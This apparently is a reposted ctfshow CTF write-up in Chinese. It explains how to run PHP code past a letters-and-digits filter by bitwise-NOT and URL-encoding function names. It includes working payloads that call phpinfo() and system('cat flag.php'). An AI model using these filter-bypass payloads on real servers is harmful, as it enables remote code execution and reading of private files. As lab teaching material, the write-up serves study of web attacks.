当前位置: 首页 > news >正文

ctfshow 无字母数字代码执行

原理

我们可以对需要使用的函数进行取反绕过,然后再进行URL 编码;

payload取反获得不可打印字符,即可绕过字母数字检测,但不可打印字符不可以直接传入服务器,需要将其url编码一遍,直接传入可能会在传输或者构造的时候缺失或错乱,导致最后再取反回来错误或乱码

构造payload的时候将取反 ~ 带上一并传入服务器,这样服务器接收后会取反回来,便可还原代码;


利用

注意:在使用取反编码再取反进行绕过时,想要执行我们指定的代码,传入的payload必须要满足 (函数名)() 这样的形式,因为在取反之前PHP解释器并不知道是要执行一个函数,导致取反之后就算是一个函数也不会被当作代码执行

var_dump(urlencode(~'phpinfo'));(~%8F%97%8F%96%91%99%90)();
#phpinfo();

在web端直接传会被前端二次加解码,导致服务器收到的数据错误,因此选择抓包传参发送原始数据

构造system('cat flag.php')

var_dump(urlencode(~'system'));
var_dump(urlencode(~'cat flag.php'));string(18) "%8C%86%8C%8B%9A%92"
string(36) "%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F"
# payload
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F);
http://www.gsyq.cn/news/1551127.html

相关文章:

  • EasyLPAC:5个关键步骤掌握专业级eUICC智能卡管理工具
  • 2026年宁波AI推广服务商实测盘点与合规推荐 - 起跑123
  • 终极指南:使用urdf-viz轻松实现机器人URDF文件可视化
  • AI公平性工程新范式:因果推断与合规落地实战
  • AI创业五大致命陷阱:从需求失焦到数据枯竭的实战避坑指南
  • 3分钟搞定小爱音箱音乐服务:DID配置的终极完整指南 [特殊字符]
  • 嵌入式AEC算法库解析:从NLMS原理到DSP工程实践
  • 黑苹果新手福音:3大核心功能揭秘OpCore Simplify的智能化配置革命
  • MC68HC16Y3 SCI模块深度解析:从UART原理到工业通信实战
  • 【Springboot毕设全套源码+文档】基于Java+springboot自行车租赁系统(丰富项目+远程调试+讲解+定制)
  • 终极指南:让老旧Mac焕发新生,免费升级最新macOS系统
  • 4层架构重构:构建企业级可视化ETL数据集成平台
  • pd.read_html实战避坑指南:HTML表格解析的三大陷阱与生产级解决方案
  • 深度解析roop-unleashed:无训练AI换脸技术的架构设计与实践指南
  • Selenium UI自动化测试环境搭建:Python+ChromeDriver实战指南
  • TWR-WIFI-AR4100评估板硬件手册深度解析与嵌入式Wi-Fi集成实战
  • Gemini Ultra技术解析:统一多模态、确定性推理与云边端协同架构
  • 构建可复现的GPU大模型训练机:A100+EPYC分布式基础设施实践
  • 国产化环境下的kkFileView实战指南:ARM架构文件预览服务部署与优化
  • 终极指南:如何在Windows 10上免费安装Windows Subsystem for Android
  • Microchip 93系列EEPROM选型指南:从命名规则到实战应用
  • OpCore Simplify:3个关键步骤让黑苹果配置从复杂变简单
  • 三相升流与单相逐相测试的差异
  • Microchip EERAM安全操作指南:规避数据损坏与状态机陷阱
  • MCP6H系列低功耗精密运放:选型、电路设计与实战应用
  • 155、平台 Camera 性能剖析工具:Systrace、Perfetto、Snapdragon Profiler 的使用
  • TWiLight Menu++:在任天堂掌机上体验终极复古游戏合集
  • MPC509外部总线接口:嵌入式系统数据高速公路的时序与配置详解
  • AI六类偏见实战防御指南:从历史到评估的系统性避坑
  • 终极USB设备安全弹出方案:告别Windows“设备正在使用中“困扰